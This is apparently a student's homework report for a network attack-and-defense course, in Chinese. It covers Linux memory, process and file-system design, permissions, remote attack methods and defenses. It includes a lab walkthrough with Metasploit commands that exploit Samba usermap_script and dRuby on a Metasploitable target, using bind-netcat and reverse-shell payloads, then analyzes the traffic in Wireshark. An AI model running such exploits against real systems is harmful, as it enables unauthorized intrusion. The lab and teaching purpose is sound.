20199112 2019-2020-2 《网络攻防实践》第 8 周作业

学习总结及实践内容

Linux 系统结构

内存管理

对任何一台计算机而言,其内存以及其它资源都是有限的。为了让有限的物理内存满足应用程序对内存的大需求量,Linux 采用了称为“虚拟内存”的内存管理方式。Linux 将内存划分为容易处理的“内存页”(对于大部分体系结构来说都是 4KB)。Linux 包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。

不过内存管理要管理的可不止 4KB 缓冲区。Linux 提供了对 4KB 缓冲区的抽象,例如 slab 分配器。这种内存管理模式使用 4KB 缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存页是满的,哪些页面没有完全使用,哪些页面为空。这样就允许该模式根据系统需要来动态调整内存使用。

为了支持多个用户使用内存,有时会出现可用内存被消耗光的情况。由于这个原因,页面可以移出内存并放入磁盘中。这个过程称为交换,因为页面会被从内存交换到硬盘上。内存管理的源代码可以在./linux/mm中找到。

进程管理

进程实际是某特定应用程序的一个运行实体。在 Linux 系统中,能够同时运行多个进程,Linux 通过在短的时间间隔内轮流运行这些进程而实现“多任务”。这一短的时间间隔称为“时间片”,让进程轮流运行的方法称为“进程调度”,完成调度的程序称为调度程序。
 
进程调度控制进程对 CPU 的访问。当需要选择下一个进程运行时,由调度程序选择最值得运行的进程。可运行进程实际上是仅等待 CPU 资源的进程,如果某个进程在等待其它资源,则该进程是不可运行进程。Linux 使用了比较简单的基于优先级的进程调度算法选择新的进程。

通过多任务机制,每个进程可认为只有自己独占计算机,从而简化程序的编写。每个进程有自己单独的地址空间,并且只能由这一进程访问,这样,操作系统避免了进程之间的互相干扰以及“坏”程序对系统可能造成的危害。 为了完成某特定任务,有时需要综合两个程序的功能,例如一个程序输出文本,而另一个程序对文本进行排序。为此,操作系统还提供进程间的通讯机制来帮助完成这样的任务。Linux 中常见的进程间通讯机制有信号、管道、共享内存、信号量和套接字等。

内核通过 SCI 提供了一个应用程序编程接口(API)来创建一个新进程(fork、exec 或 Portable Operating System Interface (POSⅨ) 函数),停止进程(kill、exit),并在它们之间进行通信和同步(signal 或者 POSⅨ 机制)。

文件系统

和 DOS 等操作系统不同,Linux 操作系统中单独的文件系统并不是由驱动器号或驱动器名称(如 A: 或 C: 等)来标识的。相反,和 UNIX 操作系统一样,Linux 操作系统将独立的文件系统组合成了一个层次化的树形结构,并且由一个单独的实体代表这一文件系统。Linux 将新的文件系统通过一个称为“挂装”或“挂上”的操作将其挂装到某个目录上,从而让不同的文件系统结合成为一个整体。Linux 操作系统的一个重要特点是它支持许多不同类型的文件系统。Linux 中最普遍使用的文件系统是 Ext2,它也是 Linux 土生土长的文件系统。但 Linux 也能够支持 FAT、VFAT、FAT32、MINIX 等不同类型的文件系统,从而可以方便地和其它操作系统交换数据。由于 Linux 支持许多不同的文件系统,并且将它们组织成了一个统一的虚拟文件系统.

Linux 授权与访问控制机制

Linux 通过 VFS 虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备义件类型来统一集成对其他类型系统资源的管理。”一切皆是文件” 是 Linux 的基本哲学之一。 不仅普通的文件,目录、字符设备、块设备、套接字等在 UNIX/Linux 中都是以文件被对待,它们虽然类型不同,但是对其提供的却是同一套操作界面。

文件的所有者:每个 Linux 文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的 uid 以及文件所有者所在组的 gid 来指明,在用户创建文件时,文件系统将自动设置新文件的所有者及其所在组,并自动地赋予文件所有者读/写的权限。文件的所有者可以通过 chown 命令进行修改。

文件的访问权限:

  • R (Read, 读取):对文件而言,具有读取文件内容的权限;对目录来说,具有浏览目录的权限。
  • W (Write, 写入):对文件而言,具有新增、修改文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。
  • X (execute,执行):对文件而言,具有执行文件的权限;对目录来说该用户具有进入目录的权限。

Linux 访问控制机制的不足及改进:Linux所采用的这种访间控制机制非常简单高效,但也存在着一些不足,最重要的是只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制,如不支待完整的 ACL(访问控制列表)设置。

Linux 系统远程攻防技术

从远程网络上侵入 Linux 系统的主要方法在目前来说,不外乎如下四种:

  • 对 Linux 系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
  • 发掘 Linux 系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地 Shell 的访问权。
  • 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开 Linux 系统的大门。
  • 在 Linux 系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。

针对网络服务远程渗透攻击的安全防范措施

  • 禁用所有不必要的网络服务;
  • 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署;
  • 及时更新网络服务版本;
  • 使用 xinetd、防火墙为 Linux 网络服务添加网络访问控制机制;
  • 建立入侵检测与应急响应计划流程。

动手实践:使用 Metasploit 进行 Linux 远程渗透攻击

使用 Metasploit 渗透测试软件,攻击 Linux 靶机上的 Samba 服务 usermap_script 安全漏洞,获取目标 Linux 靶机的主机访问权限。实践步骤如下:

  1. 启动 Metasploit 软件,可根据个人喜好使用 msfconsole、msfgui、msfweb 之一;
  2. 使用 exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
  3. 选择攻击 PAYLOAD 为远程 She1l(正向或反向连接均可);
  4. 设置渗透攻击参数(RHOST, LHOST, TARGET等);
  5. 执行渗透攻击;
  6. 查看是否正确得到远程 Shell,并查看获得的权限。

实验环境:

名称 IP
Kali 192.168.1.7
Linux Metasploitable 192.168.1.8

查询资料得到靶机 Samba 服务使用的端口是 139 和 145。

首先通过namp查点,确认靶机是否开启了这两个端口:

nmap 192.168.1.8

通过msfconsole打开 Metasploit 命令行,使用渗透攻击模块:

use exploit/multi/samba/usermap_script

设置以下的攻击载荷,表示使用渗透攻击成功后执行shell并通过netcat绑定在一个监听端口上:

set payload cmd/unix/bind_netcat

设置目标主机地址和本机地址,并使用exploit执行攻击:

set lhost 192.168.1.7
set rhost 192.168.1.8
exploit

执行ifconfigwhoami查看是否获得靶机的权限:

实践作业

攻防对抗实践:攻击方使用 Metasploit 渗透软件针对 Linux Metasploitable 靶机实施网络攻击,防御方则在 Metasploitatble 上使用 tcpdump 或 Wireshark 或 Snort 工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全湍洞补丁进行系统修补,双方合作给出攻防过程报告。

  • 攻击方:使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得 Root 权限。
  • 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合 wireshark/snort 分析攻击过程,获取攻击者 IP 地址、目标 IP 和端口、攻击发起时、攻击利用漏洞、使用 Shellcode,以及成功之后在本地执行命令输入等信息。

实验环境同上,这里使用dRuby模块进行攻击。

使用msfconsole打开 Metasploit 的控制台,使用如下模块:

use exploit/linux/misc/drb_remote_codeexec

打开 Wireshark 进行抓包,筛选攻击机与靶机之间的数据包:

ip.addr == 192.168.1.7 && ip.addr == 192.168.1.8

设置攻击载荷:

set payload cmd/unix/reverse

设置 IP:

set LHOST 192.168.1.7
set RHOST 192.168.1.8

执行run,可以看到建立的会话,执行shell进入靶机的 shell,执行命令id查看获取的 UID 和 GID:

打开 Wireshark,可以看到对应的攻击机和靶机 IP,以及攻击靶机的端口号为 8787。

追踪 TCP 流,看到:

其中Kernel.fork表示建立 shell 子进程。

继续追踪:

上图可以看到攻击机向靶机发送的 shellcode,并且双向建立了连接。

学习中遇到的问题及解决

Q:使用书上的很多渗透模块攻击后无法建立会话。
A:不断地试别的漏洞总算找到了成功的,无法建立会话的原因还是不明白。

总结

这次实验和上次的 Windows 攻防流程基本上一致的,完成起来明显轻松许多,也算是复习了之前的分析过程。

参考资料

原文地址:https://www.cnblogs.com/kidling/p/12721708.html